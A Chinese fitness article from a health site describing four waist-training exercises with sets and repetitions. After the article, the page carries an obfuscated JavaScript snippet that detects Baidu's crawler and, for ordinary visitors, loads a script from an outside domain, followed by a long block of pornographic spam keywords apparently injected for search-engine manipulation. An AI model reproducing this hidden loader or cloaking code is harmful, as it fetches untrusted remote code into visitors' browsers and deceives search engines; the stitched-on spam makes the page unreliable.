當前位置:首頁 > 健康 > 運動健身 > 正文

腰部肌肉怎么練好呢

2017-04-17 08:43:21  來源:360常識網   熱度:
導語:肌肉要是各方面都有,各方面的肌肉都非常的凸顯,那么對于一個男人來說是成熟的魅力和誘惑,但是這種肌肉也不是說來就來的,也不是一件很容

肌肉要是各方面都有,各方面的肌肉都非常的凸顯,那么對于一個男人來說是成熟的魅力和誘惑,但是這種肌肉也不是說來就來的,也不是一件很容易的事情,對于很多男人來說,如果下要鍛煉出成果和完美的肌肉來,就必須要付出很多努力,很多人下要將腰部的肌肉鍛煉出來,那么腰部肌肉到底該怎么練最好呢?

1)俯立轉腰。站立,雙腳分開比肩寬,兩臂水平打開。 然后扭腰向下,右手摸左腳腳面,直立,換左手動作。 此動作重復3組,每組20次。

2)啞鈴側腰。站立,雙腳稍微分開,右手叉在腰間,左手持啞鈴(2~3公斤),自然下垂。然后身體向左側彎曲,左手盡量下垂,再拉直身體。重復此動作2組,每組20次。 兩側輪流做。

3)健身棒側腰。站立,雙腳分開。雙手持一根健身棒,置于肩膀上(如果沒有健身棒,可以將兩手交叉,平端于胸前),保持背部挺直。 然后向兩側拉伸腰部,動作要緩慢,注意幅度,不要拉傷。 重復此動作3組,每組20次。

4)側臥抬腰。這個動作有些難度。側躺在地板上,一支手臂彎曲,用手肘支撐身體,小臂向前。身體保持挺直,然后腰部用力下向,使整個下身接觸地面,再拉起。 重復此動作2組,每組20次。

備注:減掉腰、腹部的贅肉并不是輕而易舉的。只做健身操并不能完全到達目的,你需要在有氧運動的基礎上增加力量練習,這樣鍛煉出來的腰部才會又細小又結實!迷人的小蠻腰有誰不想要呢?那就趕快行動吧!一切的努力都會有回報的,相信自己,相信專業。

如果想要將腰部的肌肉按照這樣的方式鍛煉的話,那么就可以得到好的鍛煉效果,鍛煉肌肉的同時很多方面都是可以改善的,在鍛煉肌肉的時候首先運動量要加大,每天要嚴格的訓練和要求自己,但是不能過度。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产精品国产三级国产AV麻豆| 91精品国产免费久久久久久青草| 精品日韩在线视频一区二区三区 | 国产精品视频永久免费播放| 99在线视频精品| 亚洲国产精品无码久久一线| 国产999精品久久久久久| 国产精品亚洲专区一区| 国产精品无码一本二本三本色| 欧美精品久久久久a片一二三区 | 亚洲人精品亚洲人成在线| 精品人妻人人做人人爽| 日韩精品无码久久久久久 | 最新国产午夜精品视频不卡| 亚洲啪AV永久无码精品放毛片| 国产成人精品视频播放| 四虎永久在线观看视频精品 | 国产精品伊人久久伊人电影| 精品一区二区三区3d动漫| 国产亚洲蜜芽精品久久| 国产在线麻豆精品| 免费国内精品久久久久影院| 精品不卡一区中文字幕| 国产乱人伦偷精精品视频| 日韩亚洲精品福利| 国产AⅤ精品一区二区三区久久| 亚洲精品成人网久久久久久| 国产高清国内精品福利99久久| 国产精品亚洲二区在线观看| 久久99精品免费一区二区| 久久久久久亚洲精品不卡| 国语自产偷拍精品视频偷蜜芽 | 国产精品扒开腿做爽爽的视频| 精品国产日韩亚洲一区91| 国产精品无码素人福利免费| 色婷婷精品免费视频| 久久精品女人天堂AV麻| 久久99国产精品久久99| 99视频都是精品热在线播放| 久久九九兔免费精品6| 亚洲精品第一国产综合亚AV|